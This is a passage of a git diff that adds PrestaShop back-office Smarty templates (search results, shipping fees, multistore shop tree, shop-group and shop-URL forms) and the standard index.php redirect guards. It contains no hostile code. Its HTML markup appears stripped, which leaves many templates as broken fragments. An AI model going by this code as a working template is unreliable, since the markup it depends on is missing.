obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + +{if $show_toolbar} + {include file="toolbar.tpl" toolbar_btn=$toolbar_btn toolbar_scroll=$toolbar_scroll title=$title} +
{block name="leadin"}{/block}
+{/if} + +{if isset($features)} + {if !$features} +

{l s='No features matching your query'} : {$query}

+ {else} +

{l s='Features matching your query'} : {$query}

+ + {foreach $features key=key item=feature} + {foreach $feature key=k item=val name=feature_list} + + + + + {/foreach} + {/foreach} +
{if $smarty.foreach.feature_list.first}{$key}{/if} + {$val.value} +
+
 
+ {/if} +{/if} +{if isset($modules)} + {if !$modules} +

{l s='No modules matching your query'} : {$query}

+ {else} +

{l s='Modules matching your query'} : {$query}

+ + {foreach $modules key=key item=module} + + + + + {/foreach} +
{$module->displayName}{$module->description}
+
 
+ {/if} +{/if} +{if isset($categories)} + {if !$categories} +

{l s='No categories matching your query'} : {$query}

+ {else} +

{l s='Categories matching your query'} : {$query}

+ + {foreach $categories key=key item=category} + + + + {/foreach} +
{$category}
+
 
+ {/if} +{/if} +{if isset($products)} + {if !$products} +

{l s='There are no products matching your query'} : {$query}

+ {else} +

{l s='Products matching your query'} : {$query}

+ {$products} + {/if} +{/if} +{if isset($customers)} + {if !$customers} +

{l s='There are no customers matching your query'} : {$query}

+ {else} +

{l s='Customers matching your query'} : {$query}

+ {$customers} + {/if} +{/if} +{if isset($orders)} + {if !$orders} +

{l s='There are no orders matching your query'} : {$query}

+ {else} +

{l s='Orders matching your query'} : {$query}

+ {$orders} + {/if} +{/if} \ No newline at end of file diff --git a/BO/themes/default/template/controllers/search/index.php b/BO/themes/default/template/controllers/search/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/search/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/shipping/content.tpl b/BO/themes/default/template/controllers/shipping/content.tpl new file mode 100755 index 0000000..4ab2ff0 --- /dev/null +++ b/BO/themes/default/template/controllers/shipping/content.tpl @@ -0,0 +1,105 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{$content} +

+

{l s='Fees by carrier, geographical zone and ranges'}

+
+
+ {l s='Fees'} + {if empty($carriers)} + {l s='If you only have free carriers, there\'s no need to configure delivery prices.'} + {else} + {l s='Carrier:'} +
+ + + + + {if !$carrierSelected->is_free} + {foreach $ranges AS $range} + + {/foreach} + {/if} + + {if sizeof($ranges) && !$carrierSelected->is_free} + {if sizeof($zones) > 1} + + + {foreach $ranges AS $range} + + {/foreach} + + {/if} + + {foreach $zones AS $zone} + + + {foreach $ranges AS $range} + {if isset($deliveryArray[$zone['id_zone']][$id_carrier][$range[$rangeIdentifier]])} + {$price = $deliveryArray[$zone['id_zone']][$id_carrier][$range[$rangeIdentifier]]} + {else} + {$price = '0.00'} + {/if} + + {/foreach} + + {/foreach} + {/if} + + + +
{l s='Zone / Range'}{$range['delimiter1']|floatval}{$suffix} {l s='to'} {$range['delimiter2']|floatval}{$suffix}
{l s='All'} + {$currency->getSign('left')} + + {$currency->getSign('right')} {l s='(tax excl.)'} +
{$zone['name']} + {$currency->getSign('left')} + + {$currency->getSign('right')} {l s='(tax excl.)'} +
+ + {if sizeof($ranges) && !$carrierSelected->is_free} + + {else if $carrierSelected->is_free} + {l s='This is a free carrier'} + {else} + {l s='No ranges is set for this carrier'} + {/if} +
+ {/if} + +
+
diff --git a/BO/themes/default/template/controllers/shipping/index.php b/BO/themes/default/template/controllers/shipping/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/shipping/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/shop/content.tpl b/BO/themes/default/template/controllers/shop/content.tpl new file mode 100755 index 0000000..5027ddf --- /dev/null +++ b/BO/themes/default/template/controllers/shop/content.tpl @@ -0,0 +1,41 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if $toolbar_btn} + {include file="toolbar.tpl" toolbar_btn=$toolbar_btn toolbar_scroll=$toolbar_scroll title=$title} +{/if} + +
+
{l s='Multistore tree'}
+ {include file="controllers/shop/tree.tpl" selected_tree_id=$selected_tree_id} +
+
{$content}
+ + \ No newline at end of file diff --git a/BO/themes/default/template/controllers/shop/helpers/form/form.tpl b/BO/themes/default/template/controllers/shop/helpers/form/form.tpl new file mode 100755 index 0000000..abda912 --- /dev/null +++ b/BO/themes/default/template/controllers/shop/helpers/form/form.tpl @@ -0,0 +1,150 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{extends file="helpers/form/form.tpl"} + +{block name="input"} + {if $input.type == 'theme'} + {foreach $input.values as $theme} +
+ {$theme->name}
+ {$theme->directory}
+ id == $fields_value.id_theme_checked}checked="checked"{/if} /> +
+ {/foreach} +
 
+ {elseif $input.type == 'textShopGroup'} +

{$input.value}

+ {else} + {if $input.type == 'select' && $input.name == 'id_category'} + + {/if} + {$smarty.block.parent} + {/if} +{/block} + +{block name="other_fieldsets"} + {if isset($form_import)} +

+
{l s='Import data from another shop'} + {foreach $form_import as $key => $field} + {if $key == 'radio'} + +
+ + + + + + +
+ {elseif $key == 'select'} +
+ +
+ +
+
+ {elseif $key == 'allcheckbox'} +
+ +
+
    + {foreach $field.values as $key => $label} +
  • {$label}
  • + {/foreach} +
+
+
+ {elseif $key == 'submit'} +
+ +
+ {/if} + {/foreach} +
+ {/if} +{/block} + +{block name="script"} + var ids_category = new Array(); + {foreach $ids_category as $key => $id_category} + ids_category[{$key}] = {$id_category}; + {/foreach} + $(document).ready(function() { + $('input[name=useImportData]').click(function() { + if ($(this).attr('id') == 'useImportData_on') + { + $('input[name^="importData["]').prop('checked', true); + $('#shop_list, #data_list').slideDown('slow'); + } + else + { + $('input[name^="importData["]').prop('checked', false); + $('#shop_list, #data_list').slideUp('slow'); + } + }); + $('#id_category, #importFromShop').change(function(){ + shop_id = $('#importFromShop').val(); + category_id = $('#id_category').val(); + if (ids_category[shop_id] != category_id) + disableProductsDuplication(); + else + enableProductsDuplication(); + }); + }); + function disableProductsDuplication() + { + $('input[name="importData[product_attribute]"], input[name="importData[image]"], input[name="importData[product]"], input[name="importData[stock_available]"], input[name="importData[discount]"]').removeAttr('checked').attr('disabled', 'disabled'); + } + function enableProductsDuplication() + { + $('input[name="importData[product_attribute]"], input[name="importData[image]"], input[name="importData[product]"], input[name="importData[stock_available]"], input[name="importData[discount]"]').removeAttr('disabled').attr('checked', 'checked'); + } +{/block} diff --git a/BO/themes/default/template/controllers/shop/helpers/form/index.php b/BO/themes/default/template/controllers/shop/helpers/form/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/shop/helpers/form/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/shop/helpers/index.php b/BO/themes/default/template/controllers/shop/helpers/index.php new file mode 100755 index 0000000..650e79b --- /dev/null +++ b/BO/themes/default/template/controllers/shop/helpers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/shop/helpers/list/index.php b/BO/themes/default/template/controllers/shop/helpers/list/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/shop/helpers/list/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/shop/helpers/list/list_action_delete.tpl b/BO/themes/default/template/controllers/shop/helpers/list/list_action_delete.tpl new file mode 100755 index 0000000..197faa4 --- /dev/null +++ b/BO/themes/default/template/controllers/shop/helpers/list/list_action_delete.tpl @@ -0,0 +1,32 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + {$action} + \ No newline at end of file diff --git a/BO/themes/default/template/controllers/shop/helpers/list/list_content.tpl b/BO/themes/default/template/controllers/shop/helpers/list/list_content.tpl new file mode 100755 index 0000000..36b3908 --- /dev/null +++ b/BO/themes/default/template/controllers/shop/helpers/list/list_content.tpl @@ -0,0 +1,38 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{extends file="helpers/list/list_content.tpl"} + +{block name="td_content"} + {if $key == 'url'} + {if isset($tr.$key)} + {$tr.$key} + {else} + {l s='Click here to set a URL for this shop.'} + {/if} + {else} + {$smarty.block.parent} + {/if} +{/block} \ No newline at end of file diff --git a/BO/themes/default/template/controllers/shop/index.php b/BO/themes/default/template/controllers/shop/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/shop/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/shop/tree.tpl b/BO/themes/default/template/controllers/shop/tree.tpl new file mode 100755 index 0000000..25fba66 --- /dev/null +++ b/BO/themes/default/template/controllers/shop/tree.tpl @@ -0,0 +1,215 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +
    +
+ + \ No newline at end of file diff --git a/BO/themes/default/template/controllers/shop_group/content.tpl b/BO/themes/default/template/controllers/shop_group/content.tpl new file mode 100755 index 0000000..bbd3a59 --- /dev/null +++ b/BO/themes/default/template/controllers/shop_group/content.tpl @@ -0,0 +1,26 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{include file="controllers/shop/content.tpl"} \ No newline at end of file diff --git a/BO/themes/default/template/controllers/shop_group/helpers/form/form.tpl b/BO/themes/default/template/controllers/shop_group/helpers/form/form.tpl new file mode 100755 index 0000000..35bb42e --- /dev/null +++ b/BO/themes/default/template/controllers/shop_group/helpers/form/form.tpl @@ -0,0 +1,67 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{extends file="helpers/form/form.tpl"} + +{block name=script} + + function toggleShareOrders() { + + var disabled_customer = ($('#share_customer_on').prop('checked')) ? false : true; + var disabled_stock = ($('#share_stock_on').prop('checked')) ? false : true; + + if (disabled_customer || disabled_stock) + { + $("input[name=share_order]").each(function(i) { + $(this).attr('disabled', true); + }); + + $('#share_order_off').attr('checked', true); + } + else + { + $('input[name=share_order]').attr('disabled', false); + } + } + + $(document).ready(function() { + if (!$("input[name=share_order]").prop('disabled')) + { + toggleShareOrders(); + $('input[name=share_customer]').click(function() + { + toggleShareOrders(); + }); + $('input[name=share_stock]').click(function() + { + toggleShareOrders(); + }); + } + + $('#useImportData').click(function() { + $('#importList').slideToggle('slow'); + }); + }); + +{/block} diff --git a/BO/themes/default/template/controllers/shop_group/helpers/form/index.php b/BO/themes/default/template/controllers/shop_group/helpers/form/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/shop_group/helpers/form/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/shop_group/helpers/index.php b/BO/themes/default/template/controllers/shop_group/helpers/index.php new file mode 100755 index 0000000..650e79b --- /dev/null +++ b/BO/themes/default/template/controllers/shop_group/helpers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/shop_group/index.php b/BO/themes/default/template/controllers/shop_group/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/shop_group/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/shop_url/content.tpl b/BO/themes/default/template/controllers/shop_url/content.tpl new file mode 100755 index 0000000..bbd3a59 --- /dev/null +++ b/BO/themes/default/template/controllers/shop_url/content.tpl @@ -0,0 +1,26 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{include file="controllers/shop/content.tpl"} \ No newline at end of file diff --git a/BO/themes/default/template/controllers/shop_url/helpers/form/form.tpl b/BO/themes/default/template/controllers/shop_url/helpers/form/form.tpl new file mode 100755 index 0000000..9fd4688 --- /dev/null +++ b/BO/themes/default/template/controllers/shop_url/helpers/form/form.tpl @@ -0,0 +1,100 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{extends file="helpers/form/form.tpl"} + +{block name=script} + $(document).ready(function(){ + fillShopUrl(); + checkMainUrlInfo(); + $('#domain, #physical_uri, #virtual_uri').keyup(fillShopUrl); + + var change_domain_value = false; + $('#domain').keydown(function() + { + if (!$('#domain_ssl').val() || $('#domain_ssl').val() == $('#domain').val()) + { + change_domain_value = true; + } + }); + + $('#domain_ssl').keydown(function() + { + change_domain_value = false; + }); + + $('#domain').keyup(function() + { + if (change_domain_value) + { + change_domain_value = false; + $('#domain_ssl').val($('#domain').val()); + } + }); + + $('#virtual_uri').keyup(function() + { + txt = $('#virtual_uri').val() + txt = txt.replace(' ', '-'); + $('#virtual_uri').val(txt); + }); + + }); + + var shopUrl = {$js_shop_url}; + + function fillShopUrl() + { + var domain = $('#domain').val(); + var physical = $('#physical_uri').val(); + var virtual = $('#virtual_uri').val(); + url = ((domain) ? domain : '???'); + if (physical) + url += '/'+physical; + if (virtual) + url += '/'+virtual+'/'; + url = url.replace(/\/+/g, "/"); + $('#final_url').val('http://'+url); + }; + + function checkMainUrlInfo(shopID) + { + if (!shopID) + shopID = $('#id_shop').val(); + + if (!shopUrl[shopID]) + { + $('#main_off').attr('disabled', true); + $('#main_on').attr('checked', true); + $('#mainUrlInfo').css('display', 'block'); + $('#mainUrlInfoExplain').css('display', 'none'); + } + else + { + $('#main_off').attr('disabled', false); + $('#mainUrlInfo').css('display', 'none'); + $('#mainUrlInfoExplain').css('display', 'block'); + } + } +{/block} diff --git a/BO/themes/default/template/controllers/shop_url/helpers/form/index.php b/BO/themes/default/template/controllers/shop_url/helpers/form/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/shop_url/helpers/form/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/shop_url/helpers/index.php b/BO/themes/default/template/controllers/shop_url/helpers/index.php new file mode 100755 index 0000000..650e79b --- /dev/null +++ b/BO/themes/default/template/controllers/shop_url/helpers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/shop_url/helpers/list/index.php b/BO/themes/default/template/controllers/shop_url/helpers/list/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/shop_url/helpers/list/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/shop_url/helpers/list/list_content.tpl b/BO/themes/default/template/controllers/shop_url/helpers/list/list_content.tpl new file mode 100755 index 0000000..4296f6a --- /dev/null +++ b/BO/themes/default/template/controllers/shop_url/helpers/list/list_content.tpl @@ -0,0 +1,34 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{extends file="helpers/list/list_content.tpl"} + +{block name="td_content"} + {if $key == 'url'} + {$tr.$key} + {else} + {$smarty.block.parent} + {/if} +{/block} \ No newline at end of file diff --git a/BO/themes/default/template/controllers/shop_url/index.php b/BO/themes/default/template/controllers/shop_url/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/shop_url/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/slip/_print_pdf_icon.tpl b/BO/themes/default/template/controllers/slip/_print_pdf_icon.tpl new file mode 100755 index 0000000..8ae9073 --- /dev/null +++ b/BO/themes/default/template/controllers/slip/_print_pdf_icon.tpl @@ -0,0 +1,29 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not 